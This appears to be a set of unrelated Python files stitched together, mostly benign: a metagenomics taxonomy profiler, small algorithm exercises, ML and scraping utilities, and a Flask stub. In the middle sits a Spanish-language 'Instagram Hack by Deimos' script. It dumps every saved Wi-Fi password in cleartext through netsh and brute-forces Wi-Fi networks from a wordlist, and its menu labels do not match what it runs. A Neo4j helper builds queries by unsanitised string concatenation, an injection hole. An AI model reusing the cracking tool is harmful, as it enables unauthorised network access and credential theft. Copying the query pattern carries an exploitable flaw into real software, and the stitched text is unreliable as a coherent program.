		if rank in major_ranks and major_ranks[rank] <= major_ranks[tg_rank]:
			if relAbu == "LINEAR_LENGTH":
				abundance = int(res_rollup[tid]["LL"])
			elif relAbu == "TOTAL_BP_MAPPED":
				abundance = int(res_rollup[tid]["MB"])
			elif relAbu == "READ_COUNT":
				abundance = int(res_rollup[tid]["MR"])
			else:
				abundance = int(res_rollup[tid]["MB"])/int(res_rollup[tid]["LL"])

			output[rank]["RES"][tid] = abundance

			if "TOT_ABU" in output[rank]:
				output[rank]["TOT_ABU"] += abundance
			else:
				output[rank]["TOT_ABU"] = abundance

	add_field = "\tLINEAR_COV\tNOTE\tMAPPED_REGION" if mode == "full" else ""

	o.write( "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s%s\n" %
			( "LEVEL", "NAME", "TAXID", "READ_COUNT", "TOTAL_BP_MAPPED",
			  "TOTAL_BP_MISMATCH", "LINEAR_LENGTH", "LINEAR_DOC", "REL_ABUNDANCE", add_field ) )

	for rank in sorted( major_ranks, key=major_ranks.__getitem__ ):
		if major_ranks[rank] > major_ranks[tg_rank]: break
		taxas = output[rank]["RES"]
		for tid in sorted( taxas, key=taxas.__getitem__, reverse=True):
			mc_note = "Filtered out for minCov. "   if mc > res_rollup[tid]["LL"]/res_rollup[tid]["SL"] else ""
			mr_note = "Filtered out for minReads. " if mr > int(res_rollup[tid]["MR"]) else ""
			ml_note = "Filtered out for minLen. "   if ml > int(res_rollup[tid]["LL"]) else ""

			add_field = "\t%.4f\t%s%s%s\t%s" % (
			    (res_rollup[tid]["LL"]/res_rollup[tid]["SL"]),
				mc_note,
				mr_note,
				ml_note,
				res_rollup[tid]["ML"]
			) if mode == "full" else ""

			if mc_note and mr_note and ml_note and mode=="summary":
				continue

			o.write( "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%.4f\t%.4f%s\n" %
				( rank,
				  gt.taxid2name(tid),
				  tid,
				  res_rollup[tid]["MR"],
				  res_rollup[tid]["MB"],
				  res_rollup[tid]["NM"],
				  res_rollup[tid]["LL"],
				  int(res_rollup[tid]["MB"])/int(res_rollup[tid]["LL"]),
				  output[rank]["RES"][tid]/output[rank]["TOT_ABU"],
				  add_field
				)
			)

def outputResultsAsLineage( res_rollup, o, tg_rank, relAbu, mode, mc, mr, ml ):
	for tid in res_rollup:
		rank = gt.taxid2rank(tid)

		if rank != tg_rank or ( mc > res_rollup[tid]["LL"]/res_rollup[tid]["SL"] or mr > int(res_rollup[tid]["MR"]) or ml > int(res_rollup[tid]["LL"]) ):
			continue

		if relAbu == "LINEAR_LENGTH":
			abundance = int(res_rollup[tid]["LL"])
		elif relAbu == "TOTAL_BP_MAPPED":
			abundance = int(res_rollup[tid]["MB"])
		elif relAbu == "READ_COUNT":
			abundance = int(res_rollup[tid]["MR"])
		else:
			abundance = int(res_rollup[tid]["MB"])/int(res_rollup[tid]["LL"])

		o.write( "%s\t%s\n" %
			( abundance,
			  '\t'.join( gt.taxid2lineage(tid).split('|') )
			)
		)

def readMapping( reads, db, threads, mm_penalty, samfile, logfile ):
	"""
	mapping reads to database
	"""

	input_file = " ".join(reads)

	bash_cmd   = "set -o pipefail; set -x;"
	bwa_cmd    = "bwa mem -k30 -T30 -A1 -B%s -O99 -E99 -L0 -t%s %s %s" % (mm_penalty, threads, db, input_file )
	filter_cmd = "awk -F\\\\t '!/^@/ && !and($2,4) && !and($2,2048){print $_}'"
	cmd        = "%s %s 2> %s | %s > %s" % ( bash_cmd, bwa_cmd, logfile, filter_cmd, samfile )

	proc = subprocess.Popen( cmd, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
	outs, errs = proc.communicate()
	exitcode = proc.poll()

	return exitcode, bwa_cmd, errs

def print_message( msg, silent, start):
	if not silent:
		sys.stderr.write( "[%s] %s\n" % (timeSpend(start), msg) )

if __name__ == '__main__':
	argvs    = parse_params( __version__ )
	begin_t  = time.time()
	numlines = 10000
	sam_fp   = argvs.sam[0] if argvs.sam else ""
	samfile  = "%s/%s.gottcha_%s.sam" % ( argvs.outdir, argvs.prefix, argvs.dbLevel ) if not argvs.sam else sam_fp.name
	logfile  = "%s/%s.gottcha_%s.log" % ( argvs.outdir, argvs.prefix, argvs.dbLevel )

	print_message( "Starting GOTTCHA (v%s)" % __version__, argvs.silent, begin_t )

	#dependency check
	if sys.version_info < (3,0):
		sys.exit("[ERROR] Python 3.0 or above is required.")

	if not dependency_check("bwa"):
		sys.exit("[ERROR] Executable bwa not found.")

	#prepare output object
	out_fp = sys.stdout
	outfile = "STDOUT"
	if not argvs.stdout:
		#create output directory if not exists
		if not os.path.exists(argvs.outdir):
			os.makedirs(argvs.outdir)
		ext = "fastq" if argvs.mode == "extract" else "tsv"
		tg_taxid = argvs.taxonomy if argvs.taxonomy else ""
		outfile = "%s/%s.%s%s.%s" % ( argvs.outdir, argvs.prefix, argvs.mode, tg_taxid, ext)
		out_fp = open( outfile, 'w')

	print_message( "Arguments and dependencies checked:", argvs.silent, begin_t )
	print_message( "    Input reads      : %s" % argvs.input,     argvs.silent, begin_t )
	print_message( "    Input SAM file   : %s" % samfile,         argvs.silent, begin_t )
	print_message( "    Database         : %s" % argvs.database,  argvs.silent, begin_t )
	print_message( "    Database level   : %s" % argvs.dbLevel,   argvs.silent, begin_t )
	print_message( "    Mismatch penalty : %s" % argvs.mismatch,  argvs.silent, begin_t )
	print_message( "    Abundance        : %s" % argvs.relAbu,    argvs.silent, begin_t )
	print_message( "    Output path      : %s" % argvs.outdir,    argvs.silent, begin_t )
	print_message( "    Prefix           : %s" % argvs.prefix,    argvs.silent, begin_t )
	print_message( "    Mode             : %s" % argvs.mode,      argvs.silent, begin_t )
	print_message( "    Specific taxid   : %s" % argvs.taxonomy,  argvs.silent, begin_t )
	print_message( "    Threads          : %d" % argvs.threads,   argvs.silent, begin_t )
	print_message( "    Minimal L_DOC    : %s" % argvs.minCov,    argvs.silent, begin_t )
	print_message( "    Minimal L_LEN    : %s" % argvs.minLen,    argvs.silent, begin_t )
	print_message( "    Minimal reads    : %s" % argvs.minReads,  argvs.silent, begin_t )
	print_message( "    BWA path         : %s" % dependency_check("bwa"),       argvs.silent, begin_t )
	#print_message( "    SAMTOOLS path    : %s" % dependency_check("samtools"),  argvs.silent, begin_t )

	#load taxonomy
	print_message( "Loading taxonomy information...", argvs.silent, begin_t )
	gt.loadTaxonomy( argvs.taxInfo )
	print_message( "Done.", argvs.silent, begin_t )

	#load user-defined strain name
	#if os.path.isfile( argvs.database + ".list" ):
	#	print_message( "Loading non-standard groups/strains information...",  argvs.silent, begin_t )
	#	gt.loadStrainName( argvs.database + ".list" )
	#	print_message( "Done",  argvs.silent, begin_t )

	if argvs.input:
		print_message( "Running read-mapping...", argvs.silent, begin_t )
		exitcode, cmd, msg = readMapping( argvs.input, argvs.database, argvs.threads, argvs.mismatch, samfile, logfile )
		print_message( "Logfile saved to %s." % logfile, argvs.silent, begin_t )
		#print_message( "COMMAND: %s" % cmd, argvs.silent, begin_t )

		if exitcode != 0:
			sys.exit( "[%s] ERROR: error occurred while running read mapping (exit: %s, message: %s).\n" % (timeSpend(begin_t), exitcode, msg) )
		else:
			print_message( "Done mapping reads to %s signature database." % argvs.dbLevel, argvs.silent, begin_t )
			print_message( "Mapped SAM file saved to %s." % samfile, argvs.silent, begin_t )
			sam_fp = open( samfile, "r" )

	if argvs.mode == 'class':
		processSAMfileReadClass( sam_fp, out_fp, argvs.dbLevel, argvs.taxonomy )
		print_message( "Done classifying reads. Results printed to %s." % outfile, argvs.silent, begin_t )

	elif argvs.mode == 'extract':
		processSAMfileReadExtract( sam_fp, out_fp, argvs.taxonomy )
		print_message( "Done extracting reads to %s." % outfile, argvs.silent, begin_t )

	else:
		(res, mapped_r_cnt) = processSAMfile( sam_fp, argvs.threads, numlines)
		print_message( "Done processing SAM file. %s reads mapped." % mapped_r_cnt, argvs.silent, begin_t )

		(res_rollup, res_tree) = taxonomyRollUp( res )
		print_message( "Done taxonomy rolling up.", argvs.silent, begin_t )

		if argvs.mode == 'summary' or argvs.mode == 'full':
			outputResultsAsRanks( res_rollup, out_fp, argvs.dbLevel, argvs.relAbu, argvs.mode, argvs.minCov, argvs.minReads, argvs.minLen )
		elif argvs.mode == 'tree':
			outputResultsAsTree( "1", res_tree, res_rollup, "", argvs.dbLevel, 0, argvs.taxonomy, out_fp, argvs.minCov, argvs.minReads, argvs.minLen )
		elif argvs.mode == 'lineage':
			outputResultsAsLineage( res_rollup, out_fp, argvs.dbLevel, argvs.relAbu, argvs.mode, argvs.minCov, argvs.minReads, argvs.minLen )

		print_message( "Done taxonomy profiling; %s results printed to %s." % (argvs.mode, outfile), argvs.silent, begin_t )


try:
    import os
    import platform
    import time
    import subprocess
    import requests

    def savedWIFI():
        if platform.system() == "Windows":
                a = subprocess.check_output(['netsh', 'wlan', 'show', 'profile']).decode('utf-8').split('\n')
                a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

                for i in a:
                    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n')
                    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]

                    try:
                        print("{:<30}| {:<}". format(i, results[0]))
                    except IndexError:
                        print("{:<30}| {:<}". format(i, ""))

                time.sleep(1)
                main()

        elif platform.system() == "Linux":
            print("\n[ERROR] This command currently doesnt work on linux, check for new versions")
            time.sleep(1)
            main()

    def WifiBruteForce():
        url = "http://www.python.org"
        timeout = 5
        def createNewConnection(name, SSID, key):
            config = """<?xml version=\"1.0\"?>
        <WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
            <name>"""+name+"""</name>
            <SSIDConfig>
                <SSID>
                    <name>"""+SSID+"""</name>
                </SSID>
            </SSIDConfig>
            <connectionType>ESS</connectionType>
            <connectionMode>auto</connectionMode>
            <MSM>
                <security>
                    <authEncryption>
                        <authentication>WPA2PSK</authentication>
                        <encryption>AES</encryption>
                        <useOneX>false</useOneX>
                    </authEncryption>
                    <sharedKey>
                        <keyType>passPhrase</keyType>
                        <protected>false</protected>
                        <keyMaterial>"""+key+"""</keyMaterial>
                    </sharedKey>
                </security>
            </MSM>
        </WLANProfile>"""
            if platform.system() == "Windows":
                command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
                with open(name+".xml", 'w') as file:
                    file.write(config)
            elif platform.system() == "Linux":
                command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
            os.system(command)
            if platform.system() == "Windows":
                os.remove(name+".xml")

        def connect(name, SSID):
            os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")

        def displayAvailableNetworks():
            os.system("netsh wlan show networks interface=Wi-Fi")

        print("[LOADING] Searching if connected to any network")

        try:
            request = requests.get(url, timeout=timeout)
            print("[-] Please disconnect your internet for this operation to work, try again later"), main()

        except (requests.ConnectionError, requests.Timeout) as exception:
            print("[LOADING] Loading program..."), time.sleep(1)

        connected = True
        while connected:
            try:
                displayAvailableNetworks()
                WIFI = input("WIFI Name: ")
                with open("Cracker.txt", "r") as f:
                    for line in f:
                        words = line.split()
                        if words:
                            print(f"Password: {words[0]}")

                            createNewConnection(WIFI, WIFI, words[0])
                            connect(WIFI, WIFI)

                            try:
                                request = requests.get(url, timeout=timeout)
                                connected = False
                                choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
                                if choice == "y":
                                    print("\n[EXITING] Operation canceled")
                                    main()
                                elif choice == "n":
                                    print("\n[-] Operation continues\n")

                            except (requests.ConnectionError, requests.Timeout) as exception:
                                print("[LOADING] Loading program..."), time.sleep(1)

                print("[+] Operation complete")
                choice = input("See ACC Information (y/N) ? ")
                if choice == "y" or "Y":
                    print(f"[LOADING] Searching for {WIFI} Acc")
                    time.sleep(1)
                    os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
                    main()
                elif choice == "n" or "N":
                    print("\n[EXITING] Exiting program...")
                    time.sleep(2)
                    main()

            except KeyboardInterrupt:
                print("\n[[EXITING] Aborting program...")
                exit()
            except:
                print("[ERROR] Fijate bien si esta bien escrito el txt.")
                main()

    def main():
        time.sleep(1)
        print("\n")
        print("Instagram Hack by Deimos = TOOLS =")
        time.sleep(1)
        print("1 - Sacar informacion de cuenta ")
        print("2 - Ataque a fuerza bruta")
        print("3 - Phising")
        print("0 - Exit")
        a = input("-> ")
        if a == "1":
            if platform.system() == "Linux":
                os.system("Hey bienvenido para continuar pon enter!")
                time.sleep(2)
                main()
            elif platform.system() == "Windows":
                print("Hey! losentimos pero esta herramienta no esta disponible para Windows! :C")
                time.sleep(1)
                main()

        elif a == "2":
            print("\n")
            savedWIFI()
        elif a == "3":
            print("\n")
            WifiBruteForce()
        elif a == "0":
            print("\n[EXITING] Exiting Program...")
            exit()
        else:
            os.system("cls")
            print("Unkown command, try again later")
            time.sleep(2)
            os.system("cls")
            main()
except KeyboardInterrupt:
        print("\n[[EXITING] Aborting program...")
        exit()
except ImportError:
        print("\n[ERROR] An error occured getting the modules, try installing requestss")
        exit()

print("""

███╗░░░███╗░█████╗░██████╗░  ██╗███╗░░██╗░██████╗████████╗░█████╗░░██████╗░██████╗░░█████╗░███╗░░░███╗  ██╗░░██╗
████╗░████║██╔═══╝░╚════██╗  ██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝░██╔══██╗██╔══██╗████╗░████║  ╚██╗██╔╝
██╔████╔██║██████╗░░█████╔╝  ██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░██╗░██████╔╝███████║██╔████╔██║  ░╚███╔╝░
██║╚██╔╝██║██╔══██╗░╚═══██╗  ██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░╚██╗██╔══██╗██╔══██║██║╚██╔╝██║  ░██╔██╗░
██║░╚═╝░██║╚█████╔╝██████╔╝  ██║██║░╚███║██████╔╝░░░██║░░░██║░░██║╚██████╔╝██║░░██║██║░░██║██║░╚═╝░██║  ██╔╝╚██╗
╚═╝░░░░░╚═╝░╚════╝░╚═════╝░  ╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝░╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░░░░╚═╝  ╚═╝░░╚═╝

██████╗░██████╗░░█████╗░░██████╗  ████████╗░█████╗░░█████╗░██╗░░░░░  ██╗░░░██╗██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔════╝  ╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░  ██║░░░██║╚════██╗
██║░░██║██║░░██║██║░░██║╚█████╗░  ░░░██║░░░██║░░██║██║░░██║██║░░░░░  ╚██╗░██╔╝░░███╔═╝
██║░░██║██║░░██║██║░░██║░╚═══██╗  ░░░██║░░░██║░░██║██║░░██║██║░░░░░  ░╚████╔╝░██╔══╝░░
██████╔╝██████╔╝╚█████╔╝██████╔╝  ░░░██║░░░╚█████╔╝╚█████╔╝███████╗  ░░╚██╔╝░░███████╗
╚═════╝░╚═════╝░░╚════╝░╚═════╝░  ░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝  ░░░╚═╝░░░╚══════╝

|------------><-----------------
|BY DEIMOS :))| Hack | V2 - V3 |
|------------><-----------------

""")
main()


"""Binary exponentiation"""
from typing import TypeVar

AnyNum = TypeVar("Num", bool, int, float, complex)

def exp(a: AnyNum, b: int) -> AnyNum:
    res = 1
    while b > 0:
        if b & 1 != 0:
            res = res * a
        a = a * a
        b >>= 1
    return res

def f(x):
    a = exp(x, 2)
    b = exp(2.0, x)

    return a * b

x = exp(1, 2)
y = exp(2.0, 3)

# f := Callable[[int], float]
# x := int
# y := float


import sys

class rule30:
    def __init__(self, bits: int = 15):
        self.bits = bits

    def apply(self, state: int):
        if state in set([0b000, 0b101, 0b110, 0b111]):
            return 0
        elif state in set([0b001, 0b010, 0b011, 0b100]):
            return 1
        else:
            print("state is invalid")
            sys.exit()

    def calc(self, state: int):
        ret = 0
        for i in range(self.bits):
            tmp = 0
            tmp |= (state & (1 << ((i + 1) % self.bits))) > 0
            tmp <<= 1
            tmp |= (state & (1 << i)) > 0
            tmp <<= 1
            tmp |= (state & (1 << ((i - 1 + self.bits) % self.bits))) > 0
            ret |= self.apply(tmp) << i
        return ret

    def doubling(self, init: int, gen: int):
        now = init
        state = [list(range(1 << self.bits)), [0] * (1 << self.bits)]
        flag = True
        exp = 0
        for i in range(1 << (self.bits)):
            state[1][i] = self.calc(i)
        if gen & (1 << exp) > 0:
            now = state[1][now]
        exp += 1
        while gen >= (1 << exp):
            flag = not flag
            for i in range(1 << self.bits):
                state[flag][i] = state[not flag][state[not flag][i]]
            if gen & (1 << exp) > 0:
                now = state[flag][now]
            exp += 1
        return now
    def patternsearch(self, init:int, gen:int):
        generations = []
        loopstart = 0
        loopsize = 0
        generations.append(init)
        tmp = init
        for _ in range(gen):
            tmp = self.calc(tmp)
            if tmp in generations:
                loopstart = generations.index(tmp)
                loopsize = len(generations) - loopstart
                break
            generations.append(tmp)
        if len(generations) >= gen + 1:
            return generations[gen]
        else:
            return generations[loopstart + (gen-loopstart)%loopsize]
    def solve(self, init:int, gen:int):
        return self.patternsearch(init,gen)


import torch
import torch.nn as nn
import torch.nn.functional as F
from torch_geometric.nn import GCNConv, VGAE
from utils import _act_dict
from torch.autograd import Variable

MAX_LOGSTD = 10

class VariationalGCNEncoder(torch.nn.Module):
    def __init__(self, in_channels, nhid, out_channels, cached, device):
        super(VariationalGCNEncoder, self).__init__()
        self.conv1 = GCNConv(in_channels, nhid, cached=cached).to(device) # cached only for transductive learning
        self.conv_mu = GCNConv(nhid, out_channels, cached=cached).to(device)
        self.conv_logstd = GCNConv(nhid, out_channels, cached=cached).to(device)

    def forward(self, x, edge_index, edge_attr=None):
        x = self.conv1(x, edge_index, edge_weight=edge_attr).relu()
        return self.conv_mu(x, edge_index, edge_weight=edge_attr), self.conv_logstd(x, edge_index, edge_weight=edge_attr)

class Augmentor(nn.Module):
    def __init__(self, config, nnodes, nfeat, nclass):

        super(Augmentor, self).__init__()

        self.device = config['device']
        self.temperature = config['temperature']

        self.vgae = VGAE(VariationalGCNEncoder(nfeat, config['augmentor']['hidden'], nclass, True, self.device))
        self.epsilon = torch.nn.Parameter(torch.Tensor(nnodes))
        self.reset_parameters()

    def forward(self, x, edge_index, target_edge_index):
        p = self.vgae.encode(x, edge_index)
        s = torch.sigmoid((p[target_edge_index[0]] * p[target_edge_index[1]]).sum(dim=1))
        return p, s

    def fuse_encode(self, x, edge_index):
        p_g = self.vgae.encode(x, edge_index)

        b, w = self.vgae.encoder.conv1.parameters()
        b_mu, w_mu = self.vgae.encoder.conv_mu.parameters()
        b_sigma, w_sigma = self.vgae.encoder.conv_logstd.parameters()

        p_l = x@w.T+b
        mu = p_l@w_mu.T+b_mu
        sigma = p_l@w_sigma.T+b_sigma
        sigma = sigma.clamp(max=MAX_LOGSTD)
        p_l = self.vgae.reparametrize(mu, sigma)

        p = (1-self.epsilon.view(-1,1))*p_g + self.epsilon.view(-1,1)*p_l
        return p

    def reparametrize_n(self, mu, std):
        eps = Variable(std.data.new(std.size()).normal_())
        return mu + eps * std

    def augment(self, x, edge_index, tail_nodes):
        batch_size = 4096
        p = self.fuse_encode(x, edge_index)
        i = 0
        while i < tail_nodes.shape[0]:
            tail_batch_nodes = tail_nodes[i:i+batch_size]
            i = i+batch_size
            transP = self.compute_transP(p, tail_batch_nodes)
            transP_dis = torch.distributions.bernoulli.Bernoulli(probs=transP).sample()
            add_edges = torch.nonzero(transP_dis, as_tuple=True)
            row = torch.tensor([tail_batch_nodes[j].item() for j in add_edges[0]], dtype=torch.long).to(add_edges[0].device)
            col = add_edges[1]
            edge_index_to_add = torch.stack([row, col],dim=0)#.to(x.device)
            edge_index = torch.cat([edge_index, edge_index_to_add], dim=1)
        return edge_index

    def reset_parameters(self):
        self.vgae.reset_parameters()
        torch.nn.init.constant_(self.epsilon, 1.0)
        # self.epsilon.fill_(1.0)

    def compute_transP(self, cd, tail):
        """

        :param cd: class distribution [N, D]
        :param tail: tail node index
        :return: transition probability of tail to all the other nodes in the graph (transP) [N]
        """

        p_i = cd[tail]
        p_j = cd
        # Transition Probability
        pipj = (p_i @ p_j.T)  # [N]
        transP = F.softmax(pipj, dim=-1)
        return transP


import getopt
import os, requests
import sys
from configparser import ConfigParser
from bs4 import BeautifulSoup
from utils.configuration_files import ConfigFilePath

class ConfigReader(object):
    __config_file_path = ConfigFilePath.DEFAULT
    __instance = None
    __max_rows = None
    __region = "america"
    __soup = None
    __url = None

    @staticmethod
    def get_instance():
        if ConfigReader.__instance is None:
            ConfigReader()
        return ConfigReader.__instance

    def __new__(cls, *args, **kwargs):
        if cls.__instance is None:
            cls.__instance = super(ConfigReader, cls).__new__(cls)
            cls.__instance.set_region(cls.__instance.read_sys_args().get("-r"))
            cls.__instance.set_max_rows(cls.__instance.read_sys_args().get("-m"))
        return cls.__instance

    def get_max_rows(self):
        return self.__max_rows

    def get_region(self):
        return self.__region

    def get_soup(self):
        return self.__soup

    def get_url(self):
        return self.__url

    def set_max_rows(self, rows):
        self.__max_rows = rows

    def set_region(self, region):
        self.__region = region
        self.__url = self.parse_config_url()
        self.__soup = self.make_soup()

    def make_soup(self):
        requested_text = requests.get(self.__url).text
        return BeautifulSoup(requested_text, 'html.parser')

    def parse_config_url(self):
        config = ConfigParser()
        file = os.getcwd() + self.__config_file_path.value
        config.read(file)
        return config["urls"].get(self.__region)

    @staticmethod
    def read_sys_args():
        default_values = {"-r": "america", "-m": 15}
        try:
            opts, args = getopt.getopt(sys.argv[1:], "r:m:")
            if len(opts) == 0:
                raise Exception()
            else:
                for o, a in opts:
                    if o == "-r":
                        r_temp = {"-r": a}
                        default_values.pop("-r")
                        default_values.update(r_temp)
                    if o == "-m":
                        m_temp = {"-m": int(a)}
                        default_values.pop("-m")
                        default_values.update(m_temp)
        except Exception as err:
            print(err)
        return default_values


from neo4j import GraphDatabase
from config import CONCURRENT_RELATIONS_CREATION

class Neo4jDb:
    URI = 'neo4j://neo_dest:7687/'
    database_name = ''
    session = None
    driver = None

    def __init__(self, uri, database_name):
        self.database_name = database_name
        self.URI = uri
        self.driver = GraphDatabase.driver(self.URI)
        self.session = self.driver.session(database = self.database_name)

    def get_related_nodes_weighted(self, node, princeton, initial_uri, is_directed):
        query = 'MATCH (n:Resource {uri: "' + node + '"}) -[r]-> (b:Resource) WHERE b.uri <> "' + initial_uri + '" \
            OPTIONAL MATCH (b) --> (c: Resource), \
            (c) -[r_triangle]-> (n) \
            RETURN b.uri AS node2, COUNT(r_triangle) AS weight'
        if princeton != "ALL":
            if is_directed:
                query = 'MATCH (n:Resource {uri: "' + node + '"}) -[r]-> (b:Resource) WHERE b.princeton = '+ princeton +' AND b.uri <> "' + initial_uri + '"  \
                    OPTIONAL MATCH (b) --> (c: Resource), \
                    (c) -[r_triangle]-> (n) WHERE c.princeton = '+ princeton +'\
                    RETURN b.uri AS node2, COUNT(r_triangle) AS weight'
            else:
                query = 'MATCH (n:Resource {uri: "' + node + '"}) -[r]- (b:Resource) WHERE b.princeton = '+ princeton +' AND b.uri <> "' + initial_uri + '"  \
                    OPTIONAL MATCH (b) -- (c: Resource), \
                    (c) -[r_triangle]- (n) WHERE c.princeton = '+ princeton +' AND c.uri <> b.uri AND c.uri <> n.uri \
                    RETURN b.uri AS node2, COUNT(r_triangle) AS weight'
        result = self.session.run(query)
        return [{'node2': record['node2'], 'weight': record['weight'] + 1} for record in result]

    def get_number_of_nodes(self):
        result = self.session.run('MATCH (n:Resource) RETURN COUNT(n) AS qty')
        return [record['qty'] for record in result][0]

    def get_node_by_index(self, ind):
        result = self.session.run('MATCH (n:Resource) WHERE NOT n:skos__Concept RETURN n.uri AS resource, properties(n) AS properties SKIP ' + str(ind) + ' LIMIT 1')
        return [(record['resource'], record['properties'] ) for record in result][0]

    def compose_props(self, properties):
        props = []
        for prop in properties.keys():
            if type(properties[prop]) == str:
                props.append('n.'+prop + '= "' + str(properties[prop]) + '"')
            else:
                props.append('n.'+prop + '= ' + str(properties[prop]).replace('\\x', '?'))
        separator = ', '
        return separator.join(props)

    def create_node(self, properties):
        props_string = self.compose_props(properties)
        self.session.run('MERGE (n:Resource {uri: "' + properties['uri'] + '"}) SET ' + props_string)

    def suffix_relation_creation(self, nodes):
        suffix = ''
        cnt = 0
        for node in nodes:
            suffix += 'MERGE (end' + str(cnt) + ': Resource {uri: "'+ node +'"}) MERGE (start) -[:relatesTo]->(end' +str(cnt) +') '
            cnt += 1
        return suffix

    def create_relations(self, node1_uri, node2_list):
        if len(node2_list) == 0:
            print('No semsigns in ' + node1_uri)
            return
        node_qty = len(node2_list)
        print('Nodes to insert: ' + str(node_qty))
        for strt in range(0, node_qty//CONCURRENT_RELATIONS_CREATION):
            nodes_strt = strt * CONCURRENT_RELATIONS_CREATION
            nodes_end = nodes_strt + CONCURRENT_RELATIONS_CREATION
            query = 'MATCH (start: Resource {uri: "' + node1_uri + '"})' + self.suffix_relation_creation(node2_list[nodes_strt:nodes_end])
            self.session.run(query)

    def __del__(self):
        self.session.close()
        self.driver.close()


class Solution(object):
    def test(self):
        n = 4
        self.print_1_to_max_of_n_digits(n)

    def print_1_to_max_of_n_digits(self, n):
        assert isinstance(n, int)
        if n == 0:
            return
        number = [0] * n
        self.print_permutation(number, 0)

    def print_permutation(self, number, index):
        if index == len(number):
            # index exceeds (n-1)
            self.print_array(number)
        else:
            for i in range(10):
                number[index] = str(i)
                self.print_permutation(number, index+1)

    def print_array(self, number):
        for i in range(len(number)):
            if number[i] != '0':
                break
        if i == len(number) - 1 and number[i] == '0':
            return
        else:
            print(''.join(number[i:]))

s = Solution()
s.test()


import tensorflow as tf

example_file = "example.tfrecords"

def parse_example(serialized_example):
  example_features={
                      'name'  : tf.FixedLenFeature([], tf.string),
                      'age'   : tf.FixedLenFeature([], tf.int64),
                      'scores': tf.FixedLenFeature([3], tf.float32),}
  feature_dict = tf.parse_single_example(
                      serialized_example,
                      example_features)

  name = feature_dict['name']
  # name = tf.decode_raw(name, tf.uint8)
  age = feature_dict['age']
  scores = feature_dict['scores']

  return name, age, scores

parse_func = parse_example
filename = example_file

with tf.Graph().as_default():
  dataset = tf.data.TFRecordDataset([filename])
  dataset = dataset.map(parse_func)  # Parse the record into tensors.
  # dataset = dataset.shuffle(buffer_size=100)

  dataset = dataset.repeat(1)        # Number of epoches
  dataset = dataset.batch(3)
  iterator = dataset.make_one_shot_iterator()
  next = iterator.get_next()

  with tf.train.MonitoredTrainingSession() as sess:
    print('-'*20 + ' example ' + '-'*20)
    while not sess.should_stop():
      name, age, scores = sess.run(next)
      print('-'*20)
      print(name)
      print(age)
      print(scores)


#!/usr/bin/python3
import sys
import json

class LineByLineFile():
 def __init__(self, filename):
  self.lineno = -1
  self.file = open(filename,"r")

 def readline(self):
  line = self.file.readline()
  self.lineno += 1
  return line

 def close(self):
  self.file.close()

class FromGratextaFile():
 def __init__(self,file):
  if type(file) == str:
   file = LineByLineFile(sys.argv[1])
  self.bookmarks = {}
  self.cells = {}

  #READ BOOKMARKS SECTION
  while True:
   line = file.readline()
   if not line:
    break
   if line.strip() == "CELLS":
    break
   elif line.strip() == "BOOKMARKS":
    pass
   elif not line.strip():
    pass
   elif ':' in line:
    [bookmark_name_string,destination_string] = line.split(':')
    bookmark_name = json.loads(bookmark_name_string.strip())
    self.bookmarks[bookmark_name] = json.loads(destination_string.strip())
   else:
    sys.exit("Error on line %n: Expected a bookmark entry."%file.lineno)

  #READ CELLS SECTION
  while True:
   line = file.readline()
   if not line:
    break
   if not line.strip():
     pass
   else:
    cell_id = line.rstrip('\n')
    cell = {}
    # READ PROPERTIES DICT
    while True:
     line = file.readline()
     if not line:
      break
     if line == " ---\n":
      break
     if line.startswith(' '):
      try:
       [key,value] = line.split(":")
      except ValueError:
       print("Error on line %i: expected dictionary entry."%file.lineno)
       print(line)
       exit()
      key = key.strip()
      value = value.strip()
      if key == "up" or key == "down" or key == "tags":
       try:
        value = json.loads(value)
       except ValueError:
        print("Error on line %i: failed to parse value."%file.lineno)
        print(line)
       cell[key] = value
      elif key == "left" or key == "right":
       link = {}
       try:
        json.loads(value)
       except json.decoder.JSONDecodeError as e:
        try:
         link["service"] = json.loads(value[:e.pos])
        except json.decoder.JSONDecodeError as e2:
         print("Error on line %i: Failed to parse string."%file.lineno)
         print(line)
         print(e)
         exit(1)
        try:
         rest = value[e.pos:]
         json.loads(rest)
        except json.decoder.JSONDecodeError as e1:
         try:
          path_string = rest[:e1.pos]
          link["path"] = json.loads(path_string)
         except ValueError as e3:
          print("Error on line %i: Failed to parse string %s."%(file.lineno,path_string))
          print(e3)
          print(line)
          exit(1)
         link["cell_id"] = json.loads(rest[e1.pos:])
         cell[key] = link
    # read cell text
    text = ""
    while True:
     line = file.readline()
     if not line or line == '\n':
      if text:
       cell["text"] = text[:-1]
      else:
       cell["text"] = ""
      self.cells[cell_id] = cell
      break
     elif line.startswith(' '):
      text += line[1:]
    text = ""

 def get_json(self):
  obj = {"bookmarks":self.bookmarks,"cells":self.cells}
  return json.dumps(obj)

gd = FromGratextaFile(sys.argv[1])
print(gd.get_json())


# coding=utf-8
from flask import Flask, render_template, request, send_from_directory, send_file, redirect, url_for, abort
import os, json, zipfile, datetime, time, io
from cache import Cache
from config import Config as cfg

cache = Cache()

app = Flask(__name__)

@app.route('/')
@app.route('/index/')
def index():
    return render_template(
        'index.html',
        title='Главная',
        cache=cache,
        dir=cfg.DATA_FILE,
    )

@app.route('/scan/')
def scan():
    cache.scan()
    return render_template(
        'scan.html',
        title='Сканирование каталога',
        cache=cache,
    )

